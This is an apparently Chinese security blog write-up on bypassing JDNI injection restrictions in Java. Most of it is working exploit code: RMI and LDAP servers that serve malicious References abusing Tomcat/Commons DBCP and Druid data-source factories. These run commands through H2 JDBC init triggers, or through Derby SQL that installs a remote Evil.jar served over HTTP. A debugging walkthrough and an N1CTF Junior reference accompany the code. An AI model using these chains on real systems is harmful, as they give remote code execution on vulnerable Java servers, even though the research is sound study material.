dbcp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.naming.ResourceRef;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;



public class ldapbypass {
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('calc')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}
private static Reference tomcat_dbcp2_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcat_dbcp2_RCE());
registry.bind("remoteObj", referenceWrapper);
}

}

这里有四个dbcp的,上面代码用的tomcat的,复现的时候需要给项目加依赖,我加的是本地tomcat安装目录的bin和lib目录的依赖
image.png
image.png

换成org.apache.commons.dbcp.BasicDataSourceFactory的需要加依赖

1
2
3
4
5
<dependency>
<groupId>commons-dbcp</groupId>
<artifactId>commons-dbcp</artifactId>
<version>1.4</version>
</dependency>

image.png

如果没有上面的四个dbcp的依赖,还有tomcat的 tomcat-jdbc.jar 的 org.apache.tomcat.jdbc.pool.DataSourceFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static Reference tomcat_JDBC_RCE(){
return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('calc')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

image.png

Druid

主要参考: https://xz.aliyun.com/t/10656
poe.xml

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.197</version>
</dependency>
</dependencies>

原理也是本地classpath,这里用的DruidDataSourceFactory的getObjectIntance方法调用h2数据库来JDBC攻击进而RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class bypass2 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
try{
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

Naming.bind("rmi://localhost:1099/remoteObj",referenceWrapper);
}
catch(Exception e){
e.printStackTrace();
}
}
}

开始调试:
断点下在一个lookup一个DruidDataSourceFactory的getObjectIntance()方法
image.png
首先判断一下ref.getClassName()的值进到else语句,先通过for循环遍历所有属性把我们设置的四个值传进properties变量,然后进入createDataSourceInternal()方法
image.png
image.png
新建一个DruidDataSource()对象,为它调用config()函数
config函数首先会调用很长的get函数获取属性值然后调用dataSource的setter来赋值
我们直接看到最后:
image.png
我们传入的init是true进入init()函数
image.png
然后进入createPhysicalConnection()函数
image.png
然后走到this.createPhysicalConnection(url, physicalConnectProperties);
image.png
这里connect建立数据库连接,然后RCE
image.png
弹出计算器

第二届N1CTF Junior的Derby

这里最后的RCE是考h2的数据库JDBC来RCE的,我们不局限于h2这一种数据库,比如derby数据库,这里可以参考第二届N1CTF Junior的Derby

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>

关于Derby的RCE: http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
我们可以发现通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE
执行sql的点在 DruidDataSourceFactory的initConnectionSqls变量里,我们用分号分割多条sql语句,然后利用ldap直接把序列化的字符串返回给客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

import cn.hutool.core.util.SerializeUtil;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.List;



public class test3 {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {

int port = 1389;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);

e.addAttribute("javaClassName", "foo");
try {
List<String> list = new ArrayList<>();
list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Evil.jar', 'APP.Evil', 0)");
list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
list.add("CALL cmd('calc')");

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));

e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
}

Evil.java

1
2
3
4
5
public class Evil {
public static void exec(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
}
}

编译打包
1
2
3
javac src/Evil.java
jar -cvf Evil.jar -C src/ .
python -m http.server 8000

==注意: 这种方法只能实现一次,第二次由于之前已经下载了这个数据库,所以添加的list可以注释掉前三行,只留下list.add("CALL cmd('calc')");执行命令即可,或者也可以删除数据库清空缓存==

image.png
image.png